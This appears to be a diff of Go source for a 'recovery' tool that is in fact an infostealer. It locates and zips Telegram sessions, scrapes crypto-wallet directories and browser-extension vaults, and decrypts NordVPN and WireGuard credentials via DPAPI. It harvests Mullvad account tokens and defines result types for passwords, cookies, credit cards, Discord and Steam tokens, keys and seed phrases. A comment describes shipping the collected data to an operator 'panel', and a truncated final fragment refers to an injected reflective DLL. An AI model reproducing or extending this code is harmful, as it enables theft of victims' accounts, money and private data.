sessionDir := filepath.Join(tdataDir, name)
filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
if info.Size() < 50*1024*1024 {
filesToZip = append(filesToZip, path)
}
return nil
})
}
} else {
if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") {
info, _ := e.Info()
if info != nil && info.Size() < 50*1024*1024 {
filesToZip = append(filesToZip, filepath.Join(tdataDir, name))
}
}
}
}
if len(filesToZip) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(filesToZip, tdataDir)
}
@@ -0,0 +1,51 @@
//go:build !windows
package scanner
import (
"os"
"path/filepath"
"runtime"
)
func getTelegramPaths() []telegramPathConfig {
if runtime.GOOS == "darwin" {
return []telegramPathConfig{
{"Telegram Desktop", "Telegram Desktop/tdata", "appdata"},
{"Kotatogram", "Kotatogram Desktop/tdata", "appdata"},
{"64Gram", "64Gram Desktop/tdata", "appdata"},
}
}
// Linux
return []telegramPathConfig{
{"Telegram Desktop", "TelegramDesktop/tdata", "home_data"},
{"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"},
{"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"},
{"Kotatogram", "KotatogramDesktop/tdata", "home_data"},
{"64Gram", "64Gram Desktop/tdata", "home_data"},
}
}
func resolveTelegramBase(base string) string {
home, _ := os.UserHomeDir()
switch base {
case "home":
return home
case "home_data":
xdg := os.Getenv("XDG_DATA_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".local", "share")
case "appdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".config")
case "localappdata":
return filepath.Join(home, ".local", "share")
case "userprofile":
return home
}
return ""
}
@@ -0,0 +1,27 @@
//go:build windows
package scanner
import "os"
func getTelegramPaths() []telegramPathConfig {
return []telegramPathConfig{
{"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"},
{"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"},
{"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"},
{"64Gram", `64Gram Desktop\tdata`, "appdata"},
{"Unigram", `Unigram\$local\tdata`, "localappdata"},
}
}
func resolveTelegramBase(base string) string {
switch base {
case "appdata":
return os.Getenv("APPDATA")
case "localappdata":
return os.Getenv("LOCALAPPDATA")
case "userprofile":
return os.Getenv("USERPROFILE")
}
return ""
}
@@ -0,0 +1,179 @@
package scanner
import (
"bufio"
"fmt"
"os"
"path/filepath"
"regexp"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
)
type walletConfig struct {
Name string
SubPath string
Base string // "appdata", "localappdata", "userprofile", "home"
}
var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`)
var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`)
const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file
const maxAddresses = 50
func ScanWallets() []types.WalletResult {
var results []types.WalletResult
results = append(results, scanDesktopWallets()...)
results = append(results, scanBrowserWalletData()...)
return results
}
func scanDesktopWallets() []types.WalletResult {
var results []types.WalletResult
for _, w := range getDesktopWalletPaths() {
base := resolveWalletBase(w.Base)
if base == "" {
continue
}
dir := filepath.Join(base, w.SubPath)
info, err := os.Stat(dir)
if err != nil || !info.IsDir() {
continue
}
files, totalSize := countDirContents(dir)
if files == 0 {
continue
}
wr := types.WalletResult{
Name: w.Name,
Type: "desktop",
Path: dir,
Files: files,
Size: totalSize,
}
wr.Addresses = extractAddressesFromDir(dir)
results = append(results, wr)
}
return results
}
func scanBrowserWalletData() []types.WalletResult {
var results []types.WalletResult
for _, cfg := range browser.Browsers {
if cfg.IsFirefox {
continue
}
profiles := browser.FindProfileDirs(cfg)
for _, profile := range profiles {
lesDir := filepath.Join(profile.Path, "Local Extension Settings")
for extID, walletName := range knownWalletExtensions {
extDataDir := filepath.Join(lesDir, extID)
info, err := os.Stat(extDataDir)
if err != nil || !info.IsDir() {
continue
}
files, totalSize := countDirContents(extDataDir)
if files == 0 {
continue
}
wr := types.WalletResult{
Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name),
Type: "extension",
Path: extDataDir,
Files: files,
Size: totalSize,
}
wr.Addresses = extractAddressesFromDir(extDataDir)
wr.VaultData = extractVaultData(extDataDir)
results = append(results, wr)
}
}
}
return results
}
func extractAddressesFromDir(dir string) []string {
seen := make(map[string]bool)
var addrs []string
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize {
return nil
}
if len(addrs) >= maxAddresses {
return filepath.SkipAll
}
f, err := os.Open(path)
if err != nil {
return nil
}
defer f.Close()
scanner := bufio.NewScanner(f)
scanner.Buffer(make([]byte, 256*1024), 256*1024)
for scanner.Scan() {
matches := ethAddrRe.FindAllString(scanner.Text(), -1)
for _, m := range matches {
addr := strings.ToLower(m)
if !seen[addr] {
seen[addr] = true
addrs = append(addrs, m)
if len(addrs) >= maxAddresses {
return filepath.SkipAll
}
}
}
}
return nil
})
return addrs
}
func extractVaultData(dir string) string {
var vault string
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || vault != "" {
return nil
}
ext := strings.ToLower(filepath.Ext(path))
if ext != ".ldb" && ext != ".log" {
return nil
}
if info.Size() == 0 || info.Size() > maxFileReadSize {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
match := vaultRe.Find(data)
if match != nil {
vault = string(match)
return filepath.SkipAll
}
return nil
})
return vault
}
func countDirContents(dir string) (int, int64) {
var count int
var totalSize int64
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
count++
totalSize += info.Size()
return nil
})
return count, totalSize
}
@@ -0,0 +1,60 @@
//go:build !windows
package scanner
import (
"os"
"path/filepath"
"runtime"
)
func getDesktopWalletPaths() []walletConfig {
if runtime.GOOS == "darwin" {
return []walletConfig{
{"Atomic", "atomic/Local Storage/leveldb", "appdata"},
{"Exodus", "Exodus/exodus.wallet", "appdata"},
{"Electrum", "Electrum/wallets", "home_dot"},
{"Ethereum", "Ethereum/keystore", "home_dot"},
{"Coinomi", "Coinomi/wallets", "appdata"},
}
}
// Linux
return []walletConfig{
{"Atomic", "atomic/Local Storage/leveldb", "config"},
{"Exodus", "Exodus/exodus.wallet", "config"},
{"Electrum", ".electrum/wallets", "home"},
{"Electrum-LTC", ".electrum-ltc/wallets", "home"},
{"Ethereum", ".ethereum/keystore", "home"},
{"Monero", "Monero/wallets", "home"},
{"Armory", ".armory", "home"},
{"Bytecoin", ".bytecoin", "home"},
{"Coinomi", ".coinomi/Coinomi/wallets", "home"},
}
}
func resolveWalletBase(base string) string {
home, _ := os.UserHomeDir()
switch base {
case "home", "userprofile":
return home
case "home_dot":
return filepath.Join(home, ".")
case "appdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".config")
case "config":
xdg := os.Getenv("XDG_CONFIG_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".config")
case "localappdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".local", "share")
}
return ""
}
@@ -0,0 +1,37 @@
//go:build windows
package scanner
import "os"
func getDesktopWalletPaths() []walletConfig {
return []walletConfig{
{"Atomic", `atomic\Local Storage\leveldb`, "appdata"},
{"Exodus", `Exodus\exodus.wallet`, "appdata"},
{"Electrum", `Electrum\wallets`, "appdata"},
{"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"},
{"Zcash", `Zcash`, "appdata"},
{"Armory", `Armory`, "appdata"},
{"Bytecoin", `bytecoin`, "appdata"},
{"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"},
{"Ethereum", `Ethereum\keystore`, "appdata"},
{"Guarda", `Guarda\Local Storage\leveldb`, "appdata"},
{"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"},
{"Monero", `Documents\Monero\wallets`, "userprofile"},
}
}
func resolveWalletBase(base string) string {
switch base {
case "appdata":
return os.Getenv("APPDATA")
case "localappdata":
return os.Getenv("LOCALAPPDATA")
case "userprofile":
return os.Getenv("USERPROFILE")
case "home":
home, _ := os.UserHomeDir()
return home
}
return ""
}
@@ -0,0 +1,275 @@
package types
type BrowserConfig struct {
Name string
UserDataPath string
ProcessName string
UseAppData bool
IsFirefox bool
FlatProfile bool
}
type ProfileInfo struct {
Name string
Path string
}
type CollectOptions struct {
Browsers bool `json:"browsers"`
Passwords bool `json:"passwords"`
Cookies bool `json:"cookies"`
Autofill bool `json:"autofill"`
History bool `json:"history"`
Bookmarks bool `json:"bookmarks"`
CreditCards bool `json:"creditCards"`
Discord bool `json:"discord"`
Files bool `json:"files"`
Wallets bool `json:"wallets"`
Telegram bool `json:"telegram"`
Keys bool `json:"keys"`
Apps bool `json:"apps"`
Gaming bool `json:"gaming"`
VPNs bool `json:"vpns"`
}
type ResolvedKeys struct {
V10 []byte
V20 []byte
}
type PasswordResult struct {
URL string `json:"url"`
Username string `json:"username"`
Password string `json:"password"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type CookieResult struct {
Host string `json:"host"`
Name string `json:"name"`
Value string `json:"value"`
Path string `json:"path"`
Secure bool `json:"secure"`
HTTPOnly bool `json:"httpOnly"`
ExpiresUTC int64 `json:"expiresUtc"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type AutofillResult struct {
Name string `json:"name"`
Value string `json:"value"`
DateCreated int64 `json:"dateCreated"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type HistoryResult struct {
URL string `json:"url"`
Title string `json:"title"`
VisitTimeUnix int64 `json:"visitTimeUnix"`
VisitCount int64 `json:"visitCount"`
LastVisitTime int64 `json:"lastVisitTime"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type BookmarkResult struct {
Name string `json:"name"`
URL string `json:"url"`
Type string `json:"type"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type CreditCardResult struct {
NameOnCard string `json:"nameOnCard"`
ExpirationMonth int `json:"expirationMonth"`
ExpirationYear int `json:"expirationYear"`
CardNumber string `json:"cardNumber"`
Nickname string `json:"nickname"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type DiscordTokenResult struct {
Token string `json:"token"`
Source string `json:"source"`
}
type FileResult struct {
Path string `json:"path"`
Name string `json:"name"`
Ext string `json:"ext"`
Size int64 `json:"size"`
Modified int64 `json:"modified"`
Dir string `json:"dir"`
Tags []string `json:"tags,omitempty"`
}
type ExtensionResult struct {
ExtID string `json:"extId"`
Name string `json:"name"`
Version string `json:"version"`
Browser string `json:"browser"`
Profile string `json:"profile"`
Path string `json:"path"`
Category string `json:"category,omitempty"`
}
type WalletResult struct {
Name string `json:"name"`
Type string `json:"type"`
Path string `json:"path"`
Files int `json:"files"`
Size int64 `json:"size"`
Addresses []string `json:"addresses,omitempty"`
VaultData string `json:"vaultData,omitempty"`
}
type AppCredentialResult struct {
Application string `json:"application"`
Host string `json:"host,omitempty"`
Port int `json:"port,omitempty"`
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
Protocol string `json:"protocol,omitempty"`
Extra string `json:"extra,omitempty"`
}
type CollectionResult struct {
Passwords []PasswordResult `json:"passwords,omitempty"`
Cookies []CookieResult `json:"cookies,omitempty"`
Autofill []AutofillResult `json:"autofill,omitempty"`
History []HistoryResult `json:"history,omitempty"`
Bookmarks []BookmarkResult `json:"bookmarks,omitempty"`
CreditCards []CreditCardResult `json:"creditCards,omitempty"`
DiscordTokens []DiscordTokenResult `json:"discordTokens,omitempty"`
Files []FileResult `json:"files,omitempty"`
Extensions []ExtensionResult `json:"extensions,omitempty"`
Wallets []WalletResult `json:"wallets,omitempty"`
Telegram []TelegramResult `json:"telegram,omitempty"`
Keys []KeyResult `json:"keys,omitempty"`
AppCredentials []AppCredentialResult `json:"appCredentials,omitempty"`
Gaming *GamingResult `json:"gaming,omitempty"`
VPNs *VPNResult `json:"vpns,omitempty"`
Errors []string `json:"errors,omitempty"`
}
type TelegramResult struct {
Account string `json:"account"`
Path string `json:"path"`
Files int `json:"files"`
Size int64 `json:"size"`
}
type KeyResult struct {
Type string `json:"type"`
Name string `json:"name"`
Path string `json:"path"`
Size int64 `json:"size"`
Content string `json:"content,omitempty"`
}
type SeedResult struct {
Source string `json:"source"`
Path string `json:"path"`
Phrase string `json:"phrase"`
Words int `json:"words"`
}
type GameInfo struct {
ID string `json:"id"`
Name string `json:"name"`
Installed bool `json:"installed"`
Running bool `json:"running"`
}
type SteamResult struct {
SteamPath string `json:"steamPath,omitempty"`
AutoLogin string `json:"autoLogin,omitempty"`
RememberPW bool `json:"rememberPw,omitempty"`
Account string `json:"account,omitempty"`
Token string `json:"token,omitempty"`
SteamTokens []SteamTokenResult `json:"steamTokens,omitempty"`
SSFNFiles []string `json:"ssfnFiles,omitempty"`
Games []GameInfo `json:"games,omitempty"`
}
// SteamTokenResult is one parsed Steam login/refresh token bound to a Steam ID.
// Format: <steamid>.<jwt> (steamID is the part before the first dot).
type SteamTokenResult struct {
SteamID string `json:"steamId"`
Token string `json:"token"`
}
type BattleNetResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type EpicResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type RiotResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type UplayResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type GamingResult struct {
Steam *SteamResult `json:"steam,omitempty"`
BattleNet []BattleNetResult `json:"battleNet,omitempty"`
Epic []EpicResult `json:"epic,omitempty"`
Riot []RiotResult `json:"riot,omitempty"`
Uplay []UplayResult `json:"uplay,omitempty"`
}
type NordVPNResult struct {
Version string `json:"version"`
Username string `json:"username"`
Password string `json:"password"`
}
type WireGuardResult struct {
Name string `json:"name"`
Interface string `json:"interface,omitempty"`
Peer string `json:"peer,omitempty"`
Endpoint string `json:"endpoint,omitempty"`
}
type OpenVPNResult struct {
Name string `json:"name"`
Path string `json:"path"`
}
type MullvadResult struct {
AccountNumber string `json:"accountNumber"`
SettingsPath string `json:"settingsPath"`
Content string `json:"content,omitempty"`
}
type VPNResult struct {
NordVPN []NordVPNResult `json:"nordvpn,omitempty"`
WireGuard []WireGuardResult `json:"wireguard,omitempty"`
OpenVPN []OpenVPNResult `json:"openvpn,omitempty"`
Mullvad []MullvadResult `json:"mullvad,omitempty"`
}
// Payload is a binary blob (zip) shipped to the panel, e.g. a wallet folder,
// Telegram session or Steam login files. Sent together with the result over
// E2EE so the panel can host + back it up.
type Payload struct {
Category string `json:"category"`
Name string `json:"name"`
Filename string `json:"filename"`
Size int `json:"size"`
Data []byte `json:"data"` // base64-encoded by the JSON layer
}
@@ -0,0 +1,186 @@
//go:build !windows
package recovery
import (
"encoding/json"
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
func ScanVPNs() *types.VPNResult {
result := &types.VPNResult{
WireGuard: scanWireGuardUnix(),
OpenVPN: scanOpenVPNUnix(),
Mullvad: scanMullvadUnix(),
}
if len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
return nil
}
return result
}
func scanWireGuardUnix() []types.WireGuardResult {
var results []types.WireGuardResult
configDirs := []string{"/etc/wireguard"}
if runtime.GOOS == "darwin" {
configDirs = append(configDirs, "/usr/local/etc/wireguard", "/opt/homebrew/etc/wireguard")
}
home, _ := os.UserHomeDir()
if home != "" {
configDirs = append(configDirs, filepath.Join(home, ".config", "wireguard"))
}
for _, configDir := range configDirs {
if !pathExists(configDir) {
continue
}
entries, err := os.ReadDir(configDir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".conf") {
continue
}
filePath := filepath.Join(configDir, e.Name())
confData, err := os.ReadFile(filePath)
if err != nil || len(confData) == 0 {
continue
}
var iface, peer, endpoint string
for _, line := range strings.Split(string(confData), "\n") {
line = strings.TrimSpace(line)
if key, val, ok := strings.Cut(line, "="); ok {
key = strings.TrimSpace(key)
val = strings.TrimSpace(val)
switch key {
case "Address":
iface = val
case "Endpoint":
endpoint = val
case "PublicKey":
if peer == "" {
peer = val
}
}
}
}
results = append(results, types.WireGuardResult{
Name: e.Name(),
Interface: iface,
Peer: peer,
Endpoint: endpoint,
})
}
}
return results
}
func scanOpenVPNUnix() []types.OpenVPNResult {
var results []types.OpenVPNResult
home, _ := os.UserHomeDir()
ovpnDirs := []string{"/etc/openvpn", "/etc/openvpn/client"}
if home != "" {
ovpnDirs = append(ovpnDirs,
filepath.Join(home, ".config", "openvpn"),
filepath.Join(home, "OpenVPN", "config"),
)
if runtime.GOOS == "darwin" {
ovpnDirs = append(ovpnDirs,
filepath.Join(home, "Library", "Application Support", "OpenVPN Connect", "profiles"),
)
}
}
for _, ovpnDir := range ovpnDirs {
if !pathExists(ovpnDir) {
continue
}
entries, err := os.ReadDir(ovpnDir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
continue
}
results = append(results, types.OpenVPNResult{
Name: e.Name(),
Path: filepath.Join(ovpnDir, e.Name()),
})
}
}
return results
}
func scanMullvadUnix() []types.MullvadResult {
var results []types.MullvadResult
configDirs := []string{"/etc/mullvad-vpn"}
home, _ := os.UserHomeDir()
if home != "" {
if runtime.GOOS == "darwin" {
configDirs = append(configDirs,
filepath.Join(home, "Library", "Application Support", "Mullvad VPN"),
)
} else {
configDirs = append(configDirs,
filepath.Join(home, ".config", "Mullvad VPN"),
)
}
}
for _, dir := range configDirs {
if !pathExists(dir) {
continue
}
for _, name := range []string{"settings.json", "account-history.json"} {
path := filepath.Join(dir, name)
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
continue
}
var raw map[string]json.RawMessage
if json.Unmarshal(data, &raw) != nil {
var token string
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
}
continue
}
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
v, ok := raw[key]
if !ok {
continue
}
var token string
if json.Unmarshal(v, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
break
}
}
}
}
return results
}
func mullvadAlreadyFoundUnix(results []types.MullvadResult, account string) bool {
for _, r := range results {
if r.AccountNumber == account {
return true
}
}
return false
}
@@ -0,0 +1,390 @@
//go:build windows
package recovery
import (
"encoding/base64"
"encoding/json"
"os"
"path/filepath"
"strings"
"recovery/recovery/platform"
"recovery/recovery/types"
)
func ScanVPNs() *types.VPNResult {
result := &types.VPNResult{
NordVPN: scanNordVPN(),
WireGuard: scanWireGuard(),
OpenVPN: scanOpenVPN(),
Mullvad: scanMullvad(),
}
if len(result.NordVPN) == 0 && len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
return nil
}
return result
}
func scanNordVPN() []types.NordVPNResult {
var results []types.NordVPNResult
nordDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "NordVPN")
logf("[vpn] NordVPN dir=%q exists=%v", nordDir, pathExists(nordDir))
if !pathExists(nordDir) {
return nil
}
entries, err := os.ReadDir(nordDir)
if err != nil {
return nil
}
for _, e := range entries {
if !e.IsDir() || !strings.Contains(e.Name(), "NordVpn.exe") {
continue
}
versionsDir := filepath.Join(nordDir, e.Name())
subEntries, _ := os.ReadDir(versionsDir)
for _, sub := range subEntries {
if !sub.IsDir() {
continue
}
configPath := filepath.Join(versionsDir, sub.Name(), "user.config")
if !pathExists(configPath) {
continue
}
data, err := os.ReadFile(configPath)
if err != nil || len(data) == 0 {
continue
}
username := extractNordVPNValue(data, "Username")
password := extractNordVPNValue(data, "Password")
if username != "" && password != "" {
results = append(results, types.NordVPNResult{
Version: e.Name(),
Username: username,
Password: password,
})
}
}
}
return results
}
func extractNordVPNValue(data []byte, field string) string {
content := string(data)
idx := strings.Index(content, `name="`+field+`"`)
if idx == -1 {
return ""
}
start := strings.Index(content[idx:], "<value>")
end := strings.Index(content[idx:], "</value>")
if start == -1 || end == -1 || end < start {
return ""
}
raw := content[idx+start+7 : idx+end]
decoded, err := base64.StdEncoding.DecodeString(raw)
if err != nil {
return raw
}
plaintext, err := dpapiDecrypt(decoded, nil)
if err != nil || len(plaintext) == 0 {
return raw
}
return strings.TrimRight(string(plaintext), "\x00")
}
func scanWireGuard() []types.WireGuardResult {
var results []types.WireGuardResult
configDirs := []string{
`C:\Program Files\WireGuard\Data\Configurations`,
filepath.Join(os.Getenv("LOCALAPPDATA"), "WireGuard", "Configurations"),
}
for _, configDir := range configDirs {
logf("[vpn] WireGuard config dir=%q exists=%v", configDir, pathExists(configDir))
if !pathExists(configDir) {
continue
}
entries, err := os.ReadDir(configDir)
if err != nil {
continue
}
logf("[vpn] WireGuard dir has %d entries", len(entries))
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
ext := strings.ToLower(filepath.Ext(name))
filePath := filepath.Join(configDir, name)
var confData []byte
if ext == ".dpapi" {
confData, err = dpapiDecryptFile(filePath)
name = strings.TrimSuffix(name, ".dpapi")
} else if ext == ".conf" {
confData, err = os.ReadFile(filePath)
} else {
continue
}
if err != nil || len(confData) == 0 {
continue
}
var iface, peer, endpoint string
for _, line := range normLines(string(confData)) {
line = strings.TrimSpace(line)
if key, val, ok := strings.Cut(line, "="); ok {
key = strings.TrimSpace(key)
val = strings.TrimSpace(val)
switch key {
case "Address":
iface = val
case "Endpoint":
endpoint = val
case "PublicKey":
if peer == "" {
peer = val
}
}
}
}
results = append(results, types.WireGuardResult{
Name: name,
Interface: iface,
Peer: peer,
Endpoint: endpoint,
})
}
}
return results
}
func dpapiDecryptFile(path string) ([]byte, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
return dpapiDecrypt(data, nil)
}
func scanOpenVPN() []types.OpenVPNResult {
var results []types.OpenVPNResult
ovpnDirs := []string{
filepath.Join(os.Getenv("APPDATA"), "OpenVPN Connect", "profiles"),
filepath.Join(os.Getenv("USERPROFILE"), "OpenVPN", "config"),
}
for _, ovpnDir := range ovpnDirs {
logf("[vpn] OpenVPN dir=%q exists=%v", ovpnDir, pathExists(ovpnDir))
if !pathExists(ovpnDir) {
continue
}
entries, err := os.ReadDir(ovpnDir)
if err != nil {
continue
}
logf("[vpn] OpenVPN dir has %d entries", len(entries))
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
continue
}
results = append(results, types.OpenVPNResult{
Name: e.Name(),
Path: filepath.Join(ovpnDir, e.Name()),
})
}
}
return results
}
func scanMullvad() []types.MullvadResult {
var results []types.MullvadResult
mullvadPids, _ := platform.FindProcesses("mullvad-daemon.exe")
systemProfile := `C:\Windows\System32\config\systemprofile\AppData\Local\Mullvad VPN`
logf("[vpn] Mullvad SYSTEM profile=%q exists=%v", systemProfile, pathExists(systemProfile))
if pathExists(systemProfile) {
sysSettings := filepath.Join(systemProfile, "settings.json")
logf("[vpn] Mullvad SYSTEM settings.json=%q exists=%v", sysSettings, pathExists(sysSettings))
mullvadTryJSON(&results, sysSettings)
sysAcctHistory := filepath.Join(systemProfile, "account-history.json")
logf("[vpn] Mullvad SYSTEM account-history=%q exists=%v", sysAcctHistory, pathExists(sysAcctHistory))
mullvadReadAccountHistory(&results, sysAcctHistory, mullvadPids)
}
daemonSettings := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "settings.json")
logf("[vpn] Mullvad daemon settings=%q exists=%v", daemonSettings, pathExists(daemonSettings))
mullvadTryJSON(&results, daemonSettings)
guiDir := filepath.Join(os.Getenv("APPDATA"), "Mullvad VPN")
logf("[vpn] Mullvad GUI dir=%q exists=%v", guiDir, pathExists(guiDir))
if pathExists(guiDir) {
guiSettings := filepath.Join(guiDir, "gui_settings.json")
logf("[vpn] Mullvad gui_settings.json=%q exists=%v", guiSettings, pathExists(guiSettings))
mullvadTryJSON(&results, guiSettings)
lsDir := filepath.Join(guiDir, "Local Storage", "leveldb")
logf("[vpn] Mullvad Local Storage=%q exists=%v", lsDir, pathExists(lsDir))
if pathExists(lsDir) {
mullvadScanLevelDB(&results, lsDir, guiDir)
}
}
acctHistory := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "account-history.json")
logf("[vpn] Mullvad account-history=%q exists=%v", acctHistory, pathExists(acctHistory))
mullvadReadAccountHistory(&results, acctHistory, mullvadPids)
legacyPath := `C:\Program Files\Mullvad VPN\Configs\Mullvad`
logf("[vpn] Mullvad legacy=%q exists=%v", legacyPath, pathExists(legacyPath))
if pathExists(legacyPath) {
if data, err := os.ReadFile(legacyPath); err == nil && len(data) > 0 {
var account string
if decrypted, err := dpapiDecrypt(data, nil); err == nil && len(decrypted) > 0 {
account = strings.TrimRight(string(decrypted), "\x00")
}
if account == "" {
for _, line := range normLines(strings.TrimSpace(string(data))) {
line = strings.TrimSpace(line)
if line != "" {
account = line
break
}
}
}
if account != "" && !mullvadAlreadyFound(results, account) {
results = append(results, types.MullvadResult{AccountNumber: account, SettingsPath: legacyPath})
}
}
}
return results
}
func mullvadTryJSON(results *[]types.MullvadResult, path string) {
if !pathExists(path) {
return
}
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
return
}
var raw map[string]json.RawMessage
if json.Unmarshal(data, &raw) != nil {
return
}
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
v, ok := raw[key]
if !ok {
continue
}
var token string
if json.Unmarshal(v, &token) == nil && token != "" {
logf("[vpn] Mullvad found token via key %q in %s", key, path)
if !mullvadAlreadyFound(*results, token) {
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
}
return
}
}
}
func mullvadReadAccountHistory(results *[]types.MullvadResult, path string, pids []uint32) {
if !pathExists(path) {
return
}
data, err := platform.ReadLockedFile(path, pids)
if err != nil || len(data) == 0 {
logf("[vpn] Mullvad ReadLockedFile %q failed: %v", path, err)
return
}
rawContent := strings.TrimSpace(string(data))
logf("[vpn] Mullvad account-history content (%d bytes) from %s", len(data), path)
var token string
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFound(*results, token) {
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path, Content: rawContent})
}
var tokens []string
if json.Unmarshal(data, &tokens) == nil {
for _, t := range tokens {
if t != "" && !mullvadAlreadyFound(*results, t) {
*results = append(*results, types.MullvadResult{AccountNumber: t, SettingsPath: path, Content: rawContent})
}
}
}
}
func mullvadScanLevelDB(results *[]types.MullvadResult, lsDir, sourceDir string) {
entries, err := os.ReadDir(lsDir)
if err != nil {
return
}
for _, e := range entries {
ext := strings.ToLower(filepath.Ext(e.Name()))
if ext != ".log" && ext != ".ldb" {
continue
}
data, err := os.ReadFile(filepath.Join(lsDir, e.Name()))
if err != nil || len(data) == 0 {
continue
}
content := string(data)
// Mullvad account numbers are 16 decimal digits
for i := 0; i <= len(content)-16; i++ {
if isDigit(content[i]) {
end := i
for end < len(content) && isDigit(content[end]) {
end++
}
seq := content[i:end]
if len(seq) == 16 {
logf("[vpn] Mullvad found 16-digit token in leveldb %s", e.Name())
if !mullvadAlreadyFound(*results, seq) {
*results = append(*results, types.MullvadResult{AccountNumber: seq, SettingsPath: sourceDir})
}
}
i = end
}
}
}
}
func isDigit(c byte) bool {
return c >= '0' && c <= '9'
}
func mullvadAlreadyFound(results []types.MullvadResult, account string) bool {
for _, r := range results {
if r.AccountNumber == account {
return true
}
}
return false
}
@@ -0,0 +1,83 @@
package ziputil
import (
"archive/zip"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
)
const maxZipSize = 50 * 1024 * 1024 // 50 MB
func ZipDirectory(dir string) ([]byte, error) {
if _, err := os.Stat(dir); err != nil {
return nil, fmt.Errorf("directory not found: %s", dir)
}
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
baseName := filepath.Base(dir)
_ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
rel, err := filepath.Rel(dir, path)
if err != nil {
return nil
}
zipEntry := baseName + "/" + filepath.ToSlash(rel)
f, err := os.Open(path)
if err != nil {
return nil
}
defer f.Close()
w, err := zw.Create(zipEntry)
if err != nil {
return nil
}
io.Copy(w, f) //nolint:errcheck
return nil
})
if err := zw.Close(); err != nil {
return nil, err
}
if buf.Len() > maxZipSize {
return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
}
return buf.Bytes(), nil
}
func ZipFiles(paths []string, baseDir string) ([]byte, error) {
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
for _, p := range paths {
rel, err := filepath.Rel(baseDir, p)
if err != nil {
rel = filepath.Base(p)
}
f, err := os.Open(p)
if err != nil {
continue
}
w, err := zw.Create(filepath.ToSlash(rel))
if err != nil {
f.Close()
continue
}
io.Copy(w, f)
f.Close()
}
if err := zw.Close(); err != nil {
return nil, err
}
if buf.Len() > maxZipSize {
return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
}
return buf.Bytes(), nil
}
@@ -0,0 +1,6 @@
# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL
# dependency at runtime. Only the GNU target is supported: the reflective
